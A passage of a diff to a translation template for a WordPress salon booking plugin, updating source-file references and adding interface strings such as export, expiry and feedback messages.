build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890\n-msgid \"Booking notes\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:207\n+msgid \"expired\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:21\n-msgid \"Enable guest checkout\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:358\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:358\n+msgid \"Expired on:\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:283\n+msgid \"Expires\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:24\n-msgid \"If enabled users can checkout as a guest and no account will be created for them.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1043\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:303\n+msgid \"Expires today\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:29, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:29, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:29\n-msgid \"Enable force guest checkout\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:89\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:89\n+msgid \"Export\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:32\n-msgid \"If enabled all users will checkout as a guest and no account will be created for them.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:116\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:116\n+msgid \"Export discounts to a CSV file\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:44\n-msgid \"Enable Facebook login\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:82\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:236\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:82\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:236\n+msgid \"Export to CSV\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:553\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:553\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:23\n+msgid \"Extensions\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:556\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:556\n+msgid \"extensions\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:62\n+msgid \"Extra info\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:48, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:48, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:48\n msgid \"Facebook application ID\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:56\n+msgid \"Facebook application Redirect URI\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:51\n msgid \"Facebook application Secret\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:56, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:56, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:56\n-msgid \"Facebook application Redirect URI\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:39\n+msgid \"Facebook login\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:63, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:63, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:63\n-msgid \"Please, set this url to Facebook Login Valid Redirect URI. If empty, please set the Booking Page in Booking Rules settings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:299\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:299\n+msgid \"Failed to refresh support status\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:71, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:71, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:71\n-msgid \"Use this option to control the form fields to checkout\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:246\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:246\n+#, php-format\n+msgid \"Failed to register sender ID: %s\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:77, views\u002Fsettings\u002Ftab_checkout.php:178, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:77, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:178, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:77, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:178\n-msgid \"Field type\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:250\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:250\n+#, php-format\n+msgid \"Failed to send feedback: %s\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:235\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:235\n+msgid \"Favourite time\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:78, views\u002Fsettings\u002Ftab_checkout.php:212, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:78, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:212, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:78, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:212\n-msgid \"Required\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:158\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:213\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:158\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:213\n+msgid \"Favourite week days\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:79, views\u002Fsettings\u002Ftab_checkout.php:218, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:79, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:218, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:79, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:218\n-msgid \"User profile\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:34\n+msgid \"Features & add-ons\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:80, views\u002Fsettings\u002Ftab_checkout.php:224, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:80, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:224, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:80, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:224\n-msgid \"Hide on checkout\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:378\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:378\n+msgid \"Feedback request sent.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:81, views\u002Fsettings\u002Ftab_checkout.php:230, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:230, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:230, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:230, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:230, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:230\n-msgid \"Hide on booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:198\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:198\n+#, php-format\n+msgid \"Feedback sent to %1$d booking.\"\n+msgid_plural \"Feedback sent to %1$d bookings.\"\n+msgstr[0] \"\"\n+msgstr[1] \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:458\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:458\n+msgid \"Feedback submission URL\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:82, views\u002Fsettings\u002Ftab_checkout.php:236, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:82, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:236, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:82, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:236, 